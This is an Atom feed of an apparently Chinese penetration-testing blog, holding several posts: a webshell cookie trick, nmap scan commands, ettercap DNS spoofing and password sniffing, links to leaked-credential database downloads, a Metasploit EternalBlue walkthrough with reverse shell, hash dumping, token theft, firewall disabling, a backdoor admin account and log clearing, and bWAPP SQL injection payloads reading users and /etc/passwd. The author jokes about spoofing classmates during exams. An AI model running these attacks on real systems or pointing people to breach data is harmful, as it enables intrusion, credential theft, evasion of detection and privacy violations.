-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathatom.xml
397 lines (216 loc) · 83 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>v01cano</title>
<subtitle>及吾功成名就,携君陌上花开。</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="http://yoursite.com/"/>
<updated>2019-01-18T15:57:47.704Z</updated>
<id>http://yoursite.com/</id>
<author>
<name>v01cano</name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>菜刀修改cookie</title>
<link href="http://yoursite.com/2019/01/18/%E8%8F%9C%E5%88%80%E4%BF%AE%E6%94%B9cookie/"/>
<id>http://yoursite.com/2019/01/18/菜刀修改cookie/</id>
<published>2019-01-18T15:10:53.357Z</published>
<updated>2019-01-18T15:57:47.704Z</updated>
<content type="html"><![CDATA[<p>菜刀添加cookie的方法。</p><p>首先编写了一个需要cookie才能访问的木马。</p><p><img src="https://i.loli.net/2019/01/18/5c41f435b53f8.png" alt="1"></p><p>然后当使用菜刀直接连接后,访问文件时,返回false如下:</p><p><img src="https://i.loli.net/2019/01/18/5c41f55b72805.png" alt="1547826468330"></p><p>接着在主界面,选中url,右击选择浏览网站。</p><p><img src="https://i.loli.net/2019/01/18/5c41f612efd55.png" alt="3"></p>]]></content>
<summary type="html">
<p>菜刀添加cookie的方法。</p>
<p>首先编写了一个需要cookie才能访问的木马。</p>
<p><img src="https://i.loli.net/2019/01/18/5c41f435b53f8.png" alt="1"></p>
<p>然后当使用菜刀直接
</summary>
<category term="工具" scheme="http://yoursite.com/categories/%E5%B7%A5%E5%85%B7/"/>
<category term="菜刀" scheme="http://yoursite.com/tags/%E8%8F%9C%E5%88%80/"/>
</entry>
<entry>
<title>nmap使用方法</title>
<link href="http://yoursite.com/2019/01/15/nmap%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95/"/>
<id>http://yoursite.com/2019/01/15/nmap使用方法/</id>
<published>2019-01-15T15:50:01.163Z</published>
<updated>2019-01-15T15:50:01.165Z</updated>
<content type="html"><![CDATA[<p>更新命令:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap --script-updatedb</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">nmap -sS -Pn 192.168.174.135 常用的扫描命令</span><br><span class="line">nmap -sS -Pn -p1-65535 192.168.174.135</span><br><span class="line">nmap -sS -Pn -p1-65535 -A 192.168.174.135</span><br><span class="line">nmap -sS -Pn -p1-65535 192.168.174.0/24</span><br><span class="line">nmap -sS -Pn -p1-65535 192.168.0.0/16</span><br><span class="line">nmap -sS -Pn -p1-65535 192.0.0.0/8</span><br></pre></td></tr></table></figure><p>-sS是使nmap进行一次隐秘的tcp扫描,已确定某个特定的tcp端口是否开放,即二次握手。</p><p>-Pn是告诉nmap不要使用ping命令预先判断主机是否存活,而是默认所有主机都是存活状态,这个选项适用于Internet上的渗透测试环境,因为internet上大多数网络都不允许ping所使用的”Internet控制报文协议(ICMP)”通行。如果预先使用ping命令进行判断,那么你可能会遗漏掉许多时间存活的主机。而如果在内网的环境中运行nmap则可以忽略掉这个选项,以加快运行速度。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">nmap -sS -Pn -A 192.168.174.135 输出更加详细的信息,如操作系统版本,ftp是否运行匿名登录等</span><br><span class="line">-O 判断是什么系统</span><br><span class="line">-sV 版本检测,比如扫出了ssh端口,然后得出他的版本号。</span><br><span class="line">-v 表示输出详细信息</span><br></pre></td></tr></table></figure><p>nmap 默认扫描目标1-10000范围内的端口号。我们则可以通过参数-p 来设置我们将要扫描的端口号</p><p>扫描目标主机1-65535号端口:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -sS -Pn -p1-65535 192.168.174.135</span><br></pre></td></tr></table></figure><p>使用-p1-65535对全部的端口进行扫描</p><p>也可以使用命令对指定端口21,22,23,25,80,443,8080进行扫描:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -sS -Pn -p21,22,23,25,80,443,8080 192.168.174.135</span><br></pre></td></tr></table></figure><p>zenmap图形化常规扫描所使用的命令:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -T4 -A -v 192.168.174.135</span><br></pre></td></tr></table></figure><p>可以利用类似window/linux 系统下的ping方式进行扫描,例如使用ping扫描192.168.174.0/24这个网段的主机,判断其是否存活</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -sP 192.168.174.0/24</span><br></pre></td></tr></table></figure><p>也可以使用-指定扫描主机的范围:如下扫描方法与下面的等价。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -sP 192.168.174.0-255</span><br></pre></td></tr></table></figure><p>也可以在判断主机是否存活的同时对端口进行扫描:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -p1-65535 -sS -T4 -Pn 192.168.174.0/24</span><br></pre></td></tr></table></figure><p> -T代表的是扫描的时候,一些控制选项(TCP的延迟时间,探测报文之间的间隔等)的集合</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">--exclude 排除主机或者文件</span><br><span class="line">--excludefile 排除主机或者文件列表</span><br><span class="line">--host-timeout 10 设置扫描主机10秒,在10秒后还没收到响应,那就会认为没有开发端口。</span><br></pre></td></tr></table></figure><p>附上乌云上面的文章:</p><p><a href="https://wooyun.js.org/drops/NMAP%20%E5%9F%BA%E7%A1%80%E6%95%99%E7%A8%8B.html" target="_blank" rel="noopener">https://wooyun.js.org/drops/NMAP%20%E5%9F%BA%E7%A1%80%E6%95%99%E7%A8%8B.html</a></p><p><a href="https://wooyun.js.org/drops/Nmap%E9%80%9F%E6%9F%A5%E6%89%8B%E5%86%8C.html" target="_blank" rel="noopener">https://wooyun.js.org/drops/Nmap%E9%80%9F%E6%9F%A5%E6%89%8B%E5%86%8C.html</a></p>]]></content>
<summary type="html">
<p>更新命令:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><
</summary>
<category term="nmap使用" scheme="http://yoursite.com/categories/nmap%E4%BD%BF%E7%94%A8/"/>
<category term="nmap" scheme="http://yoursite.com/tags/nmap/"/>
</entry>
<entry>
<title>hydra使用教程</title>
<link href="http://yoursite.com/2019/01/15/hydra%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/"/>
<id>http://yoursite.com/2019/01/15/hydra使用教程/</id>
<published>2019-01-15T15:47:24.117Z</published>
<updated>2019-01-15T15:49:54.314Z</updated>
<content type="html"><![CDATA[<p><a href="https://www.cnblogs.com/ECJTUACM-873284962/p/7805116.html" target="_blank" rel="noopener">https://www.cnblogs.com/ECJTUACM-873284962/p/7805116.html</a></p>]]></content>
<summary type="html">
<p><a href="https://www.cnblogs.com/ECJTUACM-873284962/p/7805116.html" target="_blank" rel="noopener">https://www.cnblogs.com/ECJTUACM-87328
</summary>
<category term="hydra使用" scheme="http://yoursite.com/categories/hydra%E4%BD%BF%E7%94%A8/"/>
<category term="hydra使用" scheme="http://yoursite.com/tags/hydra%E4%BD%BF%E7%94%A8/"/>
</entry>
<entry>
<title>dns欺骗与ettercap</title>
<link href="http://yoursite.com/2018/11/13/ettercap%E4%B8%8Edns%E6%AC%BA%E9%AA%97/"/>
<id>http://yoursite.com/2018/11/13/ettercap与dns欺骗/</id>
<published>2018-11-13T03:07:52.729Z</published>
<updated>2018-11-13T06:29:18.531Z</updated>
<content type="html"><![CDATA[<h1 id="ettercap在局域网中的应用"><a href="#ettercap在局域网中的应用" class="headerlink" title="ettercap在局域网中的应用"></a>ettercap在局域网中的应用</h1><h2 id="dns欺骗"><a href="#dns欺骗" class="headerlink" title="dns欺骗"></a>dns欺骗</h2><p>攻击机:kali linux ,ip地址:192.168.174.128</p><p>靶场机器:windows7,ip地址: 192.168.174.129</p><p>配置ettercap</p><p>使用工具ettercap,配置/etc/ettercap/etter.dns文件中投毒点。</p><p>原始的etter.dns</p><p><img src="https://i.loli.net/2018/11/13/5bea43164f82f.png" alt="360截图16241223756881"></p><p>需要修改etter.dns为</p><p><img src="https://i.loli.net/2018/11/13/5bea4c100e43b.png" alt="1"></p><p>配置/etc/ettercap/etter.conf文件,启用重定向命令。</p><p>原始的etter.conf</p><p><img src="https://i.loli.net/2018/11/13/5bea4dd166519.png" alt="2"></p><p>修改后的etter.conf</p><p><img src="https://i.loli.net/2018/11/13/5bea4e05a6c29.png" alt="3"></p><p>使用Ettercap投毒</p><p>在命令行输入:ettercap -G 启动图形化界面的Ettercap软件</p><p>开启嗅探模式,点击Sniff->Unified sniffing</p><p>主机探测:hosts->scan for hosts</p><p>查看扫描结果:hosts->hosts list</p><p><img src="https://i.loli.net/2018/11/13/5bea4ff948cd3.png" alt="4"></p><p>添加插件,Plugins->Load a plugin 中添加dns_spoof。双击进行添加。</p><p>添加目标,将网关地址添加到Target1中,将windows操作系统的ip地址添加到target2中。</p><p>添加目标,将网关地址选中,add to target1,将windows7选中,add to target2。</p><p><img src="https://i.loli.net/2018/11/13/5bea5254bddf7.png" alt="5"></p><p>启动ARP欺骗:</p><p>Mitm->arp poisoning</p><p>全部选中:确定。</p><p><img src="https://i.loli.net/2018/11/13/5bea5336c7585.png" alt="1"></p><p>最后start ->sniffing启动dns欺骗。</p><p>ok,dns欺骗成功。</p><p><img src="https://i.loli.net/2018/11/13/5bea58594d342.png" alt="1542084682214"></p><p>如果在局域网中跟大家玩dns欺骗,特别是考试的时候,我觉得应该是很有趣的一件事情吧,下次试试看。哈哈哈哈哈哈哈哈哈哈哈,希望不要被抓。</p><h2 id="中间人密码截获"><a href="#中间人密码截获" class="headerlink" title="中间人密码截获"></a>中间人密码截获</h2><p>与dns欺骗类似,在做完dns欺骗的验证后,重启kali</p><p>1,启用路由转发,命令: </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo "1" > /proc/sys/net/ipv4/ip_forward</span><br></pre></td></tr></table></figure><p>2,使用ettercap 进行中间人嗅探:</p><p>攻击机:kali linux ,ip地址:192.168.174.128</p><p>靶场机器:windows7,ip地址: 192.168.174.129</p><p>2,1在命令行输入:ettercap -G 启动图形化界面的Ettercap软件</p><p>开启嗅探模式,点击Sniff->Unified sniffing</p><p>主机探测:hosts->scan for hosts</p><p>查看扫描结果:hosts->hosts list</p><p><img src="https://i.loli.net/2018/11/13/5bea4ff948cd3.png" alt="4"></p><p>添加目标,将网关地址添加到Target1中,将windows操作系统的ip地址添加到target2中。</p><p>添加目标,将网关地址选中,add to target1,将windows7选中,add to target2。</p><p><img src="https://i.loli.net/2018/11/13/5bea5254bddf7.png" alt="5"></p><p>启动ARP欺骗:</p><p>Mitm->arp poisoning</p><p>全部选中:确定。</p><p><img src="https://i.loli.net/2018/11/13/5bea5336c7585.png" alt="1"></p><p>最后start ->sniffing启动嗅探。</p><p>嗅探成功,在windows7上输入用户名和密码,可以成功在kali上查看。</p><p><img src="https://i.loli.net/2018/11/13/5bea6f2c790b8.png" alt="1542090511973"></p>]]></content>
<summary type="html">
<h1 id="ettercap在局域网中的应用"><a href="#ettercap在局域网中的应用" class="headerlink" title="ettercap在局域网中的应用"></a>ettercap在局域网中的应用</h1><h2 id="dns欺骗"><a
</summary>
<category term="web安全之dns欺骗" scheme="http://yoursite.com/categories/web%E5%AE%89%E5%85%A8%E4%B9%8Bdns%E6%AC%BA%E9%AA%97/"/>
<category term="web安全之dns欺骗" scheme="http://yoursite.com/tags/web%E5%AE%89%E5%85%A8%E4%B9%8Bdns%E6%AC%BA%E9%AA%97/"/>
</entry>
<entry>
<title>1TB的社工库</title>
<link href="http://yoursite.com/2018/11/11/1TB%E7%9A%84%E7%A4%BE%E5%B7%A5%E5%BA%93/"/>
<id>http://yoursite.com/2018/11/11/1TB的社工库/</id>
<published>2018-11-11T02:32:39.174Z</published>
<updated>2018-11-11T02:32:39.174Z</updated>
<content type="html"><![CDATA[<p>【社工库】</p><p><a href="http://bbs.evzo.net/forum.php" target="_blank" rel="noopener">http://bbs.evzo.net/forum.php</a></p><p>要输入用户名密码才能进入</p><p><a href="https://cdn.databases.today/" target="_blank" rel="noopener">https://cdn.databases.today/</a></p><p>(内有大量的裤子可供下载,双十一加紧买硬盘)</p><p><a href="https://www.instantcheckmate.com/" target="_blank" rel="noopener">https://www.instantcheckmate.com/</a></p><p>(国外裤子)</p><p><a href="https://haveibeenpwned.com/" target="_blank" rel="noopener">https://haveibeenpwned.com/</a></p><p>(国外裤子)</p><p>下载工具推荐IDM</p><p><a href="http://www.pc6.com/softview/SoftView_24680.html" target="_blank" rel="noopener">http://www.pc6.com/softview/SoftView_24680.html</a></p><p>使用IDM爬取地址,然后下载,就不用一个个点击了</p>]]></content>
<summary type="html">
<p>【社工库】</p>
<p><a href="http://bbs.evzo.net/forum.php" target="_blank" rel="noopener">http://bbs.evzo.net/forum.php</a></p>
<p>要输入用户名密码才能进入
</summary>
<category term="web安全" scheme="http://yoursite.com/categories/web%E5%AE%89%E5%85%A8/"/>
<category term="社工库" scheme="http://yoursite.com/tags/%E7%A4%BE%E5%B7%A5%E5%BA%93/"/>
</entry>
<entry>
<title>nmap使用方法</title>
<link href="http://yoursite.com/2018/11/04/nmap%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/"/>
<id>http://yoursite.com/2018/11/04/nmap使用教程/</id>
<published>2018-11-04T07:16:34.584Z</published>
<updated>2019-01-15T15:13:49.552Z</updated>
<content type="html"><![CDATA[<p>更新命令:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap --script-updatedb</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">nmap -sS -Pn 192.168.174.135 常用的扫描命令</span><br><span class="line">nmap -sS -Pn -p1-65535 192.168.174.135</span><br><span class="line">nmap -sS -Pn -p1-65535 -A 192.168.174.135</span><br><span class="line">nmap -sS -Pn -p1-65535 192.168.174.0/24</span><br><span class="line">nmap -sS -Pn -p1-65535 192.168.0.0/16</span><br><span class="line">nmap -sS -Pn -p1-65535 192.0.0.0/8</span><br></pre></td></tr></table></figure><p>-sS是使nmap进行一次隐秘的tcp扫描,已确定某个特定的tcp端口是否开放,即二次握手。</p><p>-Pn是告诉nmap不要使用ping命令预先判断主机是否存活,而是默认所有主机都是存活状态,这个选项适用于Internet上的渗透测试环境,因为internet上大多数网络都不允许ping所使用的”Internet控制报文协议(ICMP)”通行。如果预先使用ping命令进行判断,那么你可能会遗漏掉许多时间存活的主机。而如果在内网的环境中运行nmap则可以忽略掉这个选项,以加快运行速度。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">nmap -sS -Pn -A 192.168.174.135 输出更加详细的信息,如操作系统版本,ftp是否运行匿名登录等</span><br><span class="line">-O 判断是什么系统</span><br><span class="line">-sV 版本检测,比如扫出了ssh端口,然后得出他的版本号。</span><br><span class="line">-v 表示输出详细信息</span><br></pre></td></tr></table></figure><p>nmap 默认扫描目标1-10000范围内的端口号。我们则可以通过参数-p 来设置我们将要扫描的端口号</p><p>扫描目标主机1-65535号端口:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -sS -Pn -p1-65535 192.168.174.135</span><br></pre></td></tr></table></figure><p>使用-p1-65535对全部的端口进行扫描</p><p>也可以使用命令对指定端口21,22,23,25,80,443,8080进行扫描:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -sS -Pn -p21,22,23,25,80,443,8080 192.168.174.135</span><br></pre></td></tr></table></figure><p>zenmap图形化常规扫描所使用的命令:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -T4 -A -v 192.168.174.135</span><br></pre></td></tr></table></figure><p>可以利用类似window/linux 系统下的ping方式进行扫描,例如使用ping扫描192.168.174.0/24这个网段的主机,判断其是否存活</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -sP 192.168.174.0/24</span><br></pre></td></tr></table></figure><p>也可以使用-指定扫描主机的范围:如下扫描方法与下面的等价。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -sP 192.168.174.0-255</span><br></pre></td></tr></table></figure><p>也可以在判断主机是否存活的同时对端口进行扫描:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -p1-65535 -sS -T4 -Pn 192.168.174.0/24</span><br></pre></td></tr></table></figure><p> -T代表的是扫描的时候,一些控制选项(TCP的延迟时间,探测报文之间的间隔等)的集合</p><p>附上乌云上面的文章:</p><p><a href="https://wooyun.js.org/drops/NMAP%20%E5%9F%BA%E7%A1%80%E6%95%99%E7%A8%8B.html" target="_blank" rel="noopener">https://wooyun.js.org/drops/NMAP%20%E5%9F%BA%E7%A1%80%E6%95%99%E7%A8%8B.html</a></p><p><a href="https://wooyun.js.org/drops/Nmap%E9%80%9F%E6%9F%A5%E6%89%8B%E5%86%8C.html" target="_blank" rel="noopener">https://wooyun.js.org/drops/Nmap%E9%80%9F%E6%9F%A5%E6%89%8B%E5%86%8C.html</a></p>]]></content>
<summary type="html">
<p>更新命令:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><
</summary>
<category term="nmap使用" scheme="http://yoursite.com/categories/nmap%E4%BD%BF%E7%94%A8/"/>
<category term="nmap" scheme="http://yoursite.com/tags/nmap/"/>
</entry>
<entry>
<title>永恒之蓝的利用与提权</title>
<link href="http://yoursite.com/2018/11/04/%E6%B0%B8%E6%81%92%E4%B9%8B%E8%93%9D%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E6%8F%90%E6%9D%83/"/>
<id>http://yoursite.com/2018/11/04/永恒之蓝的利用与提权/</id>
<published>2018-11-03T16:07:19.617Z</published>
<updated>2018-11-03T16:04:56.142Z</updated>
<content type="html"><![CDATA[<p>永恒之蓝是指2017年5月13日起,全球范围内爆发的基于Windows网络共享协议进行攻击传播的蠕虫<a href="https://baike.baidu.com/item/%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81/325864" target="_blank" rel="noopener">恶意代码</a>,不法分子通过改造之前泄露的NSA黑客武器库中“永恒之蓝”攻击程序发起的网络攻击事件。<a href="https://baike.baidu.com/item/%E8%8B%B1%E5%9B%BD/144602" target="_blank" rel="noopener">英国</a>、<a href="https://baike.baidu.com/item/%E4%BF%84%E7%BD%97%E6%96%AF/125568" target="_blank" rel="noopener">俄罗斯</a>、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。</p><p>下面我们就利用永恒之蓝进行内网渗透</p><p>search ms17-010</p><p>查找ms17-010模块</p><p><img src="https://i.loli.net/2018/11/03/5bddbe36edb7d.png" alt="1541258702419"></p><p> use auxiliary/scanner/smb/smb_ms17_010</p><p>set rhosts 192.168.174.134</p><p>run</p><p><img src="https://i.loli.net/2018/11/03/5bddbead5dfce.png" alt=""></p><p>smb协议的445端口处于开启状态</p><p>使用漏洞利用模块,并建立反向tcp连接</p><p>use exploit/windows/smb/ms17_010_eternalblue</p><p>set payload windows/x64/meterpreter/reverse_tcp</p><p>set rhost 192.168.174.134</p><p>set lhost 192.168.174.133</p><p>exploit</p><p><img src="https://i.loli.net/2018/11/03/5bddbf80dce15.png" alt=""></p><p>反弹shell成功。</p><p>sysinfo查询目标系统信息</p><p><img src="https://i.loli.net/2018/11/03/5bddc01e816e4.png" alt=""></p><p>screenshot对目标主机进行截图</p><p>getuid查看当前用户权限</p><p>hashdump获取用户的登录名和密码</p><p>ps 查看目标机器进程,找出域控账户运行的进程ID</p><p>load incognito由于目前我们的身份是system的权限,为了方便渗透,需进行身份令牌的窃取,拿到administrator的token。</p><p>扮演一个帐户从一个特定进程偷取令牌。为此,我们需要“incognito”扩展,使用“steal_token+PID”这个例子中我们使用的是steal_token 1148,其中由前面执行ps后得到的信息可知,PID为1148权限为administrator,所以我们在执行命令后虽然提示错误信息,但是它仍会被成功在后台执行,所以在运行steal_token后核实UID,我们的权限就变为了administrator了</p><p>首先使用ps查看pid对应的用户。这里就拿system的pid了。</p><p><img src="https://i.loli.net/2018/11/03/5bddc18feefa2.png" alt=""></p><p>steal_token 3056</p><p>此时的身份便是system了,</p><p>run getgui -e开启远程桌面</p><p><img src="https://i.loli.net/2018/11/03/5bddc26806fe1.png" alt=""></p><p>显示远程桌面已经开启</p><p>使用kali直接连接远程桌面:</p><p>rdesktop 192.168.174.134</p><p><img src="https://i.loli.net/2018/11/03/5bddc2f09958d.png" alt=""></p><p>但是此时的我们并没有用户名和密码,所以接着我们就创建用户吧。</p><p>shell获取目标主机的shell。</p><p><img src="https://i.loli.net/2018/11/03/5bddc36db916f.png" alt=""></p><p>netsh adcfirewall set allprofiles state off关闭防火墙</p><p>net user volcano18 123456 /add新建用户</p><p>net localgroup administrators volcano18 /add添加到管理员组</p><p>net user查看所有用户</p><p>用户创建完成了,下一步就直接连接远程桌面吧:</p><p>rdesktop 192.168.174.134在kali中使用该命令进行远程连接</p><p>连接成功。</p><p><img src="https://i.loli.net/2018/11/03/5bddc4d804a34.png" alt=""></p><p>如果其他账户也在线的话,就会出现这种情况。</p><p><img src="https://i.loli.net/2018/11/03/5bddc53b8f360.png" alt=""></p><p>如果点是,其他账户就会被退出,其中有30秒等待对方确认的时间,若其他账户未操作,则默认退出,我们新建的账户便可以进入系统了。(所以最好在别人不在时,进行该操作!会直接被发现)</p><p>渗透基本完成了,下一步就是清除日志了并且将刚刚创建的用户删除。</p><p>net user volcano18 /del删除用户</p><p>在metasploit中使用命令clearev清除日志</p>]]></content>
<summary type="html">
<p>永恒之蓝是指2017年5月13日起,全球范围内爆发的基于Windows网络共享协议进行攻击传播的蠕虫<a href="https://baike.baidu.com/item/%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81/325864" targ
</summary>
<category term="web安全" scheme="http://yoursite.com/categories/web%E5%AE%89%E5%85%A8/"/>
<category term="web安全" scheme="http://yoursite.com/tags/web%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>bwapp玩法总结之二</title>
<link href="http://yoursite.com/2018/10/25/bwapp%E7%8E%A9%E6%B3%95%E6%80%BB%E7%BB%93%E4%B9%8B%E4%BA%8C/"/>
<id>http://yoursite.com/2018/10/25/bwapp玩法总结之二/</id>
<published>2018-10-25T08:06:57.882Z</published>
<updated>2018-12-02T08:49:19.977Z</updated>
<content type="html"><![CDATA[<h1 id="SQL-Injection"><a href="#SQL-Injection" class="headerlink" title="SQL Injection"></a>SQL Injection</h1><h2 id="SQL-Injection-GET-Search"><a href="#SQL-Injection-GET-Search" class="headerlink" title="SQL Injection (GET/Search)"></a>SQL Injection (GET/Search)</h2><p>1,在low级别下,首先对是否存在sql注入进行简单的判断,然后再加以利用,直接在输入框输入单引号发现如下报错</p><p><img src="https://i.loli.net/2018/10/14/5bc3009278866.png" alt="1539506113226"></p><p>于是立刻判断存在sql注入,那么是什么类型的注入呢?SQL注入按照参数类型可以分为两种,字符型注入和数字型注入,那么字符型注入和数字型注入的区别在哪里呢?当发生注入点的参数为整型数据时,则称该注入为数字型注入,当注入点是字符串时,则称为字符型注入,字符型注入和数字型注入最大的区别就是字符型注入需要引号进行闭合,于是第二步就是判断该sql注入是字符型注入还是数字型注入:</p><p>输入1 or 1=1– 没有查询到结果,而输入1’ or 1=1– 可以查询到结果,于是初步判断该注入为字符型注入,即接下来对该sql注入的利用均需要用使用引号闭合。(注意–后面有空格)</p><p>查询到的结果如下:</p><p><img src="https://i.loli.net/2018/10/14/5bc30dce442a3.png" alt="volcano18"></p><p>选取第二个Title对该查询语句进行判断,直接输入Iron点击Search,可以正确查询到第二行的内容,而输入Iron’%– 报错如下:</p><p><code>Error: You have an error in your SQL syntax; check the manual that</code><br><code>corresponds to your MySQL server version for the right syntax to use</code><br><code>near '%-- %'' at line 1</code></p><p>而输入Iron%’– 依旧可以正确查询到第二行的内容,于是初步判断查询语句如下:</p><p><code>select * from 表名 where Title like '%".用户输入."%'</code></p><p>接着该对字段数进行判断了,使用语句order by</p><p>Iron%’ order by 7– 可以正确显示第二行内容,而Iron%’ order by 8– 则报错</p><p><code>Error: Unknown column '8' in 'order clause'</code> </p><p>所以初步判断字段数为7。</p><p>通过union select 进一步确定可以显示的字段。</p><p><code>http://192.168.174.130/bWAPP/sqli_1.php?title=Iron%' UNION SELECT 1,2,3,4,5,6,7-- &action=search</code></p><p><img src="https://i.loli.net/2018/10/14/5bc32f4409ce5.png" alt="volcano18"></p><p>发现2,3,4,5字段可以显示。</p><p>接着对mysql用户名主机名,当前数据库的版本信息,当前数据库名称,数据库路径等进行查询和显示。</p><p><code>http://192.168.174.130/bWAPP/sqli_1.php?title=Iron%' UNION SELECT 1,user(),version(),database(),@@datadir,6,7-- &action=search</code></p><p><img src="https://i.loli.net/2018/10/14/5bc331405c7f4.png" alt="1539518756466"></p><p>因为mysql数据库的数据结构,所有的数据结构都存放在一张元数据表里面,表名为information_schema,所以我们可以通过这个直接查看相应的表名和库名。</p><p><code>http://192.168.174.130/bWAPP/sqli_1.php?title=Iron%' UNION SELECT 1,table_name,table_schema,database(),@@datadir,6,7 from information_schema.tables-- &action=search</code></p><p>查看结果如下:</p><p><img src="https://i.loli.net/2018/10/14/5bc334047f890.png" alt="1539519469662"></p><p>接着查看当前数据库下面的表名:</p><p><code>http://192.168.174.130/bWAPP/sqli_1.php?title=Iron%' UNION SELECT 1,table_name,table_schema,database(),@@datadir,6,7 from information_schema.tables where table_schema=database()-- &action=search</code></p><p><img src="https://i.loli.net/2018/10/14/5bc33568f2724.png" alt="1539519815763"></p><p>看到了users表,接着查看users表的字段名:</p><p><code>http://192.168.174.130/bWAPP/sqli_1.php?title=Iron%' UNION SELECT 1,column_name,table_schema,database(),@@datadir,6,7 from information_schema.columns where table_name="users"-- &action=search</code></p><p><img src="https://i.loli.net/2018/10/14/5bc337c7026f3.png" alt="1539520434299"></p><p>在users表中看到了login,password,admin等字段,接着对这些字段的内容进行查看。</p><p><code>http://192.168.174.130/bWAPP/sqli_1.php?title=Iron%' UNION SELECT 1,login,admin,password,@@datadir,6,7 from bWAPP.users-- &action=search</code></p><p><img src="https://i.loli.net/2018/10/14/5bc33afb20d3e.png" alt="1539521253447"></p><p>成功读取用户名和密码。但是密码却经过了md5加密,进行md5解密可以得到对应的用户名和密码分别为:</p><p>A.I.M. - bug</p><p>bee - bug</p><p>也可以对文件进行操作,比如读取文件:</p><p><code>1%' union select 1,load_file('/etc/passwd'),3,4,5,6,7--</code></p><p><img src="https://i.loli.net/2018/10/14/5bc33e1111c7e.png" alt="1539522042877"> 